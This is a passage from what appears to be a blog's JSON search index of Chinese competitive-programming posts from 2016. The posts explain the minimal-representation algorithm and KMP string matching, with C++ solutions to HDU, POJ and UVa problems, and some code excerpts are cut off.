cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; 75 int cnt = 1; 76 int len = strlen(tmp); 77 for ( int j = k ; cnt \u003c= len ; j++,cnt++) 78 s[i][cnt-1] = tmp[j%len]; 79 se.insert(string(s[i])); 80 } 81// for ( int i = 0 ; i \u003c n; i++) cout\u003c\u003c\"s[i]:\"\u003c\u003cs[i]\u003c\u003cendl; 82// 83 int ans = se.s","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/hdu-2609/","section":"Posts","summary":"hdu 2609 题目链接 题意：给出n个循环字符串，问有多少种。 思路：将每个字符串换成最小表示，然后set存一下即可。","tags":["set","字符串循环同构","最小表示法"],"title":"hdu 2609 How many (字符串的最小表示法+set)","type":"post"},{"categories":["ACM"],"content":"hdu 4162 题意：给出一串代表8个方向的数字，求这串序列的一阶差分（the first difference）的字典序最小的表示。 思路：先做个变换，按照题意，第i位的一阶差分 s[i] = ((s[i+1]-s[i])+8)%8; 然后求出最小表示开始的位置。。输出即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月13日 星期六 02时17分45秒 4File Name :code/poj/4162.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E5+7; 34int n ; 35char s[N]; 36int minRep(char *s) 37{ 38 int n = strlen(s); 39 int i = 0 ; 40 int j = 1; 41 int k = 0 ; 42 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 43 { 44 int t = s[(i+k)%n]-s[(j+k)%n]; 45 if (t==0) k++; 46 else 47 { 48 if (t\u003e0) 49 i+=k+1; 50 else j+=k+1; 51 if (i==j) j++; 52 k = 0 ; 53 } 54 } 55 return i\u003cj?i:j; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 while (~scanf(\"%s\",s)) 63 { 64 int len = strlen(s); 65 char s0 = s[0]; 66 int p,q; 67 for ( int i = 0 ; i \u003c len-1 ; i++) 68 { 69 p = s[i]-'0'; 70 q = s[i+1]-'0'; 71 q-=p; 72 if (q\u003c0) q+=8; 73 s[i] = char (q+'0'); 74 } 75 s[len-1] = char(((s0-s[len-1])+8)%8+'0'); 76 int k = minRep(s); 77 int cnt = 1; 78 for (int i = k ; cnt\u003c= len ; i++,cnt++) 79 printf(\"%c\",s[i%len]); 80 printf(\"\\n\"); 81 ms(s,0); 82 } 83 #ifndef ON","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/hdu-4162/","section":"Posts","summary":"hdu 4162 题意：给出一串代表8个方向的数字，求这串序列的一阶差分（the first difference）的字典序最小的表示。","tags":["字符串循环同构","最小表示法"],"title":"hdu 4162 Shape Number (字符串的最小表示法)","type":"post"},{"categories":["ACM"],"content":"poj 1509 题目链接 题意\u0026思路：同uva 1314 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 18时48分29秒 4File Name :code/uva/1314.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n ; 35char s[N]; 36int minRep(char *s) 37{ 38 int n = strlen(s); 39 int i = 0; 40 int j = 1; 41 int k = 0; 42 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 43 { 44 int t = s[(i+k)%n]-s[(j+k)%n]; 45 if (t==0) k++; 46 else 47 { 48 if (t\u003e0) 49 i+=k+1; 50 else j+=k+1; 51 if (i==j) j++; 52 k = 0 ; 53 } 54 } 55 return i\u003cj?i:j; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 int T; 63 cin\u003e\u003eT; 64 while (T--) 65 { 66 scanf(\"%s\",s); 67 printf(\"%d\\n\",minRep(s)+1); 68 } 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/poj-1509/","section":"Posts","summary":"poj 1509 题目链接 题意\u0026思路：同uva 1314 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 18时48分29秒 4File Name :code/uva/1314.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n ; 35char s[N]; 36int minRep(char *s) 37{ 38 int n = strlen(s); 39 int i = 0; 40 int j = 1; 41 int k = 0; 42 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 43 { 44 int t = s[(i+k)%n]-s[(j+k)%n]; 45 if (t==0) k++; 46 else 47 { 48 if (t\u003e0) 49 i+=k+1; 50 else j+=k+1; 51 if (i==j) j++; 52 k = 0 ; 53 } 54 } 55 return i\u003cj?i:j; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 int T; 63 cin\u003e\u003eT; 64 while (T--) 65 { 66 scanf(\"%s\",s); 67 printf(\"%d\\n\",minRep(s)+1); 68 } 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","tags":["最小表示法"],"title":"poj 1509 Glass Beads (字符串的最小表示法)","type":"post"},{"categories":["ACM"],"content":"uva 1314 题目链接 题意：给定一个循环字符串，问字典序最小的串的开始位置。最小表示法裸题。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 18时48分29秒 4File Name :code/uva/1314.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n ; 35char s[N]; 36int minRep(char *s) 37{ 38 int n = strlen(s); 39 int i = 0; 40 int j = 1; 41 int k = 0; 42 while (i\u003cn\u0026\u0026j\u003cn\u0026\u0026k\u003cn) 43 { 44 int t = s[(i+k)%n]-s[(j+k)%n]; 45 if (t==0) k++; 46 else 47 { 48 if (t\u003e0) 49 i+=k+1; 50 else j+=k+1; 51 if (i==j) j++; 52 k = 0 ; 53 } 54 } 55 return i\u003cj?i:j; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 int T; 63 cin\u003e\u003eT; 64 while (T--) 65 { 66 scanf(\"%d\\n%s\",\u0026n,s); 67 printf(\"%d\\n\",minRep(s)); 68 } 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/ural-1314-hidden-password-/","section":"Posts","summary":"uva 1314 题目链接 题意：给定一个循环字符串，问字典序最小的串的开始位置。最小表示法裸题。","tags":["最小表示法"],"title":"ural 1314 Hidden Password (字符串的最小表示法模板题)","type":"post"},{"categories":["ACM"],"content":"首先放一波资料： 参考博客 对于字符串循环同构的最小表示法，其问题实质是求S串的一个位置，从这个位置开始循环输出S，得到的S’字典序最小。 一种朴素的方法是设计i,j两个指针。其中i指向最小表示的位置，j作为比较指针。 令i=0,j=1 如果S[i] \u003e S[j] i=j, j=i+1 如果S[i] \u003c S[j] j++ 如果S[i]==S[j] 设指针k，分别从i和j位置向下比较，直到S[i] != S[j] _ __如果S[i+k] \u003e S[j+k] i=j,j=i+1 _ 否则j++ 返回i 注意到，朴素算法的缺陷在于斜体的情况下i指针的移动太少了。针对这一问题改进就得到了最小表示法的算法。最小表示法的算法思路是维护两个指针i,j。 令i=0,j=1 如果S[i] \u003e S[j] i=j, j=i+1 如果S[i] \u003c S[j] j++ 如果S[i]==S[j] 设指针k，分别从i和j位置向下比较，直到S[i] != S[j] **如果S[i+k] \u003e S[j+k] i=i+k ** 否则j++ 返回i和j的小者 注意到上面两个算法唯一的区别是粗体的一行。这一行就把复杂度降到O(n)了。 值得一提的是，与KMP类似，最小表示法处理的是一个字符串S的性质，而不是看论文时给人感觉的处理两个字符串。 应用最小表示法判断两个字符串同构，只要将两个串的最小表示求出来，然后从最小表示开始比较。剩下的工作就不用多说了。 模板： 1#include \u003cstdio.h\u003e 2#include \u003cstring.h\u003e 3const int N = 100000+10; 4char str[N]; 5int minimalRepresentation() 6{ 7 int n = strlen(str); 8 int i = 0,j = 1, k = 0; 9 while(i\u003cn \u0026\u0026 j\u003cn \u0026\u0026 k\u003cn) 10 { 11 int t = str[(i+k)%n] - str[(j+k)%n] ; 12 if(t == 0) 13 k++; 14 else 15 { 16 if(t\u003e0) 17 i+=k+1; 18 else 19 j+=k+1; 20 if(i==j) 21 j++; 22 k = 0; 23 } 24 } 25 return i \u003c j ? i : j; 26} 27int main() 28{ 29 int t; 30 scanf(\"%d\",\u0026t); 31 int n; 32 while(t--) 33 { 34 scanf(\"%d\",\u0026n); 35 scanf(\"%s\",str); 36 int index = minimalRepresentation(); 37 printf(\"%d\\n\",index); 38 } 39}","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/%e6%9c%80%e5%b0%8f%e8%a1%a8%e7%a4%ba%e6%b3%95%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0%ef%bc%88%e5%90%8c%e6%9e%84%e9%97%ae%e9%a2%98%ef%bc%89/","section":"Posts","summary":"首先放一波资料： 参考博客 对于字符串循环同构的最小表示法，其问题实质是求S串的一个位置，从这个位置开始循环输出S，得到的S’字典序最小。","tags":["同构","字符串循环同构","最小表示法"],"title":"最小表示法学习笔记（同构问题+模板）","type":"post"},{"categories":["ACM"],"content":"hdu 4300题目链接 吐槽：题意难懂的一逼，关键的地方根本没有说清好么。。。竟然还是多校题。。。。出题人英语是体育老师教的吧。。？本来挺傻逼一道题。。被这完全没有说清楚的题意搞得很不爽。。。 题意：给一个26个字母一一对应的密码表。 然后给出一个字符串，先是密文再是明文，明文可能不全。问最小的可能的密文+明文串是什么。。 思路： 把字符串按照密码表转化得到一个新的字符串，然后跑kmp得到原字符串a的后缀等于转化后的字符串b的前缀的最长长度的字符串。（需要注意的是,kmp匹配的时候，由于密文长度一定是大于等于明文的，并且如果字符串a和字符串b相等，匹配全部是没有意义的，所以我们从中间位置开始匹配，更具体的说，是从第一个后面的字符串的长度大于等于前面的字符串的长度的位置开始匹配） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 13时55分42秒 4File Name :code/hdu/4300.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E5+7; 36char a[N],b[N]; 37map\u003cchar,char\u003emp; 38char table[30]; 39int nxt[N]; 40void getnxt( char *s) 41{ 42 int n = strlen(s); 43 int i = 0 ; 44 int j = -1; 45 nxt[0] = -1; 46 while (i\u003cn) 47 if (j==-1||s[i]==s[j]) nxt[++i] = ++ j; 48 else j = nxt[j]; 49} 50int kmp(char *a,char *b) 51{ 52 int n = strlen(a); 53 getnxt(b); 54 int i = 0; 55 int j = 0; 56 if (n%2==0) i = n/2; //明文可能残缺，因此密文长度大于等于明文，i要从一半往后开始，不然的话会匹配到自身 57 else i = n/2+1; 58 while (i\u003cn) 59 { 60 if (j==-1||a[i]==b[j]) i++,j++; 61 else j = nxt[j]; 62 } 63 if (i==n) return j; 64 return 0; 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/hdu4300/","section":"Posts","summary":"hdu 4300题目链接 吐槽：题意难懂的一逼，关键的地方根本没有说清好么。。。竟然还是多校题。。。。出题人英语是体育老师教的吧。。？本来挺傻逼一道题。。被这完全没有说清楚的题意搞得很不爽。。。","tags":["kmp"],"title":"hdu 4300 Clairewd’s message (kmp)","type":"post"},{"categories":["ACM"],"content":"hdu 3336 题目链接 题意：给一个字符串，问这个字符串的所有前缀的出现次数的和。 思路：这道题需要完全理解nxt函数是干嘛的。。nxt[i]表示的是字符串的0..i-1位中，前缀和后缀相等的串的最长长度为nxt[i] 这东西对于这道题有什么用呢？ 举个例子，对于字符串ababa： s a b a b a i 0 1 2 3 4 5 next[i] -1 0 0 1 2 3 ans初始为len(因为长度为len的字符串有len个前缀，每个前缀至少出现一次) next[3] = 1，ans + 1 = 6，next[1] = 0 next[4] = 2，ans + 1 = 7，next[2] = 0 next[5] = 3，ans + 1 = 8，next[3] = 1，ans + 1 = 9 首先，我们不是很关心nxt[i]具体的值，只关心nxt[i]是否大于0.如果大于0，比如对于nxt[3]==1，说明字符串0..2位置中，存在一个后缀和前缀相等，因此答案+1. 其次，其实我们仍然关心nxt[i]具体的值，对于nxt[5]==3，具体对应的含义是有后缀“aba”和前缀“aba”相等 但是这就完了吗？因为nxt[3]仍然大于0，对应“aba\"中有一个前缀”a“和后者”a“相等。。。你可能要问。。这个不是刚刚算过了吗。。。然而这里其实算的是字符串2..4的”aba\"。 看到有人说这是dp…不是很懂dp做法是什么鬼。。。 忘记取模wa了一发。。智力-2. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 12时59分12秒 4File Name :code/hdu/3336.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int MOD = 10007; 34const int N=2E5+7; 35int n; 36char s[N]; 37int nxt[N]; 38int ans; 39void getnxt(char *s) 40{ 41 int n = strlen(s); 42 int i = 0 ; 43 int j = -1; 44 nxt[0] = -1; 45 while (i\u003cn) 46 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49void dfs( int x) 50{ 51 if (x\u003c=0) return ; 52 ans = (ans + 1) % MOD; 53 d","date":"2016-08-12","externalUrl":null,"permalink":"/2016/08/hdu3336/","section":"Posts","summary":"hdu 3336 题目链接 题意：给一个字符串，问这个字符串的所有前缀的出现次数的和。","tags":["dfs","kmp","字符串dp"],"title":"hdu 3336 Count the string （nxt函数的运用kmp+（dfs|dp )）","type":"post"},{"categories":["ACM"],"content":"hdu 2594 题目链接 题意：given string s1,s2, find the longest prefix of s1 that is a suffix of s2. 思路：kmp。。。懒得说了。注意边界。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 01时12分51秒 4File Name :code/hdu/2594.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E5+7; 34char a[N],b[N]; 35int nxt[N]; 36void getnxt( char *s) 37{ 38 int n = strlen(s); 39 int i = 0 ; 40 int j = -1; 41 nxt[0] = -1; 42 while (i\u003cn) 43 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 44 else j = nxt[j]; 45} 46int kmp(char *a,char *b) 47{ 48 int n = strlen(a); 49 int m = strlen(b); 50 getnxt(b); 51 int i = 0; 52 int j = 0; 53 while (i\u003cn) 54 { 55 if (j==-1||a[i]==b[j]) i++,j++; 56 else j = nxt[j]; 57 } 58 if (i==n) return j; 59 return 0; 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 while (~scanf(\"%s %s\",a,b)) 67 { 68// cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003cendl; 69 int k = kmp(b,a); 70 if (k==0) 71 puts(\"0\"); 72 else printf(\"%s %d\\n\",b+(strlen(b)-k),k); 73 74 ms(a,0); 75 ms(b,0); 76 } 77 #ifndef ONLINE_JUDGE 78 fclose(stdin); 79 #endif 80 return 0; 81}","date":"2016-08-11","externalUrl":null,"permalink":"/2016/08/hdu-2594/","section":"Posts","summary":"hdu 2594 题目链接 题意：given string s1,s2, find the longest prefix of s1 that is a suffix of s2.","tags":["kmp"],"title":"hdu 2594 Simpsons’ Hidden Talent (kmp)","type":"post"},{"categories":["随笔杂谈"],"content":"1 * 很多题毫无思路，真的只是见过的套路太少，如果知道套路，瞬间成水题。 2 * 很多算法觉得难懂，九成原因是看到的资料不够好或者不够适合你。","date":"2016-08-11","externalUrl":null,"permalink":"/2016/08/%e4%b8%80%e7%82%b9%e6%84%9f%e5%8f%97%ef%bc%8c%e5%85%b6%e5%ae%9e%e4%bd%a0%e5%b9%b6%e6%b2%a1%e6%9c%89%e9%82%a3%e4%b9%88%e5%bc%b1/","section":"Posts","summary":"1 * 很多题毫无思路，真的只是见过的套路太少，如果知道套路，瞬间成水题。 2 * 很多算法觉得难懂，九成原因是看到的资料不够好或者不够适合你。","tags":["算法竞赛"],"title":"一点感受，其实你并没有那么弱","type":"post"},{"categories":["ACM"],"content":"hdu 2203 题目链接 题意：给定字符串A（一个环），和字符串B，问B是否在A中出现过。 思路：环的问题。。复制一遍到末尾就好了。。出于严谨的考虑。。我们只复制n-1个字符。 以及要记得判断文本串的长度是否大于等于模板串，如果小于，直接判断no//然而题目数据太水，没判也过了 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 00时56分28秒 4File Name :code/hdu/2203.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35char a[N],b[N]; 36int n; 37int nxt[N]; 38void getnxt(char *s) 39{ 40 int n = strlen(s); 41 int i = 0 ; 42 int j = -1; 43 nxt[0] = -1; 44 while (i\u003cn) 45 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 46 else j = nxt[j]; 47} 48 49bool kmp(char *a,char *b) 50{ 51 int n = strlen(a); 52 int m = strlen(b); 53 getnxt(b); 54 int i = 0; 55 int j = 0 ; 56 while (i\u003cn) 57 { 58 if (j==-1||a[i]==b[j]) i++,j++; 59 else j = nxt[j]; 60 61 if (j==m) return true; 62 } 63 64 return false; 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 while (~scanf(\"%s %s\",a,b)) 72 { 73 int len1 = strlen(a); 74 int len2 = strlen(b); 75 if (len1\u003clen2) 76 { 77 puts(\"no\"); 78 continue; 79 } 80 // cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003c\" len1:\"\u003c\u003clen1\u003c\u003cendl; 81 for ( int i = 0 ; i \u003c len1-1 ; i++) 82 a[i+len1] = a[i]; 83 ","date":"2016-08-11","externalUrl":null,"permalink":"/2016/08/hdu2203/","section":"Posts","summary":"hdu 2203 题目链接 题意：给定字符串A（一个环），和字符串B，问B是否在A中出现过。","tags":["算法竞赛"],"title":"hdu 2203 亲和串 (kmp)","type":"post"},{"categories":["ACM"],"content":"hdu 3746题目链接 题意：给定一个字符串，是一个环（首尾相连），问至少再添加多少个珠子才能使得整个串是循环的。。。 思路：一下子想到了最小覆盖子串的模型。。。我求出最小覆盖子串的长度（n-nxt[n]）。然后特判下最小覆盖子串的长度等于字符串长度的情况。。。试着叫了一发。。。竟然就A了2333.。。大概是所谓的题感吧（逃 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月12日 星期五 00时41分19秒 4File Name :code/hdu/3746.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34char a[N]; 35int n; 36int nxt[N]; 37void getnxt( char *s) 38{ 39 int n = strlen(s); 40 int i = 0; 41 int j = -1; 42 nxt[0] = -1; 43 while (i\u003cn) 44 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 45 else j = nxt[j]; 46} 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 int T; 53 cin\u003e\u003eT; 54 while (T--) 55 { 56 scanf(\"%s\",a); 57 getnxt(a); 58 int n =strlen(a); 59 int k = n - nxt[n]; 60 if (k==n) printf(\"%d\\n\",n); 61 else if (n%k==0) printf(\"0\\n\"); 62 else printf(\"%d\\n\",k-n%k); 63 } 64 #ifndef ONLINE_JUDGE 65 fclose(stdin); 66 #endif 67 return 0; 68}","date":"2016-08-11","externalUrl":null,"permalink":"/2016/08/hdu-3746/","section":"Posts","summary":"hdu 3746题目链接 题意：给定一个字符串，是一个环（首尾相连），问至少再添加多少个珠子才能使得整个串是循环的。。。","tags":["kmp","最小覆盖子串"],"title":"hdu 3746 Cyclic Nacklace (最小覆盖子串，kmp)","type":"post"},{"categories":["ACM"],"content":"hdu 5763 题目链接 题意：给定两个字符串A和B，每个出现在A中的B(可以overlap)都有两种含义，问A串一共可能有多少种含义。 思路：kmp+dp. 考虑dp[i]为前i个字符（也就是从开始长度为i，注意不是字符串的下标为i）的含义数。 我们考虑第i个字符对其他位置字符的贡献。 首先第i位的含义数可以无条件得转移到i+1位。也就是dp[i+1]+=dp[i]; 此外，如果第i位是一个B串开始的位置，那么第i位对i+len2位就有贡献。也就是dp[i+len2]+=dp[i]; 初始化dp[0]=1，其他为0. 剩下我们要做的就是处理出A串中的哪些位置是B串开始的位置。 kmp处理下就好，用一个布尔数组标记。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 11时07分24秒 4File Name :code/hdu/5763.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int MOD = 1E9+7; 34const int N=1E5+7; 35int nxt[N]; 36char a[N],b[N]; 37bool v[N]; 38int dp[N]; 39void getnxt(char *s) 40{ 41 int i = 0; 42 int j = -1; 43 nxt[0] = -1; 44 int n = strlen(s); 45 while (i\u003cn) 46 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49void kmp( char *a,char *b) 50{ 51 int n = strlen(a); 52 int m = strlen(b); 53 getnxt(b); 54 int i = 0 ; 55 int j = 0 ; 56 while (i\u003cn) 57 { 58 if (j==-1||a[i]==b[j]) i++,j++; 59 else j = nxt[j]; 60 if (j==m) 61 { 62 v[i-m] = true;//长度为i的位置的下标是i-1,开始的位置是（i-1）+m+1,也就是i-m 63// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" i-m:\"\u003c\u003ci-m\u003c\u003cendl; 64 } 65 } 66} 67int main() 68{ 69 #ifndef ONLINE_JUDGE 70 freopen(\"code/in.txt\"","date":"2016-08-11","externalUrl":null,"permalink":"/2016/08/hdu-5763/","section":"Posts","summary":"hdu 5763 题目链接 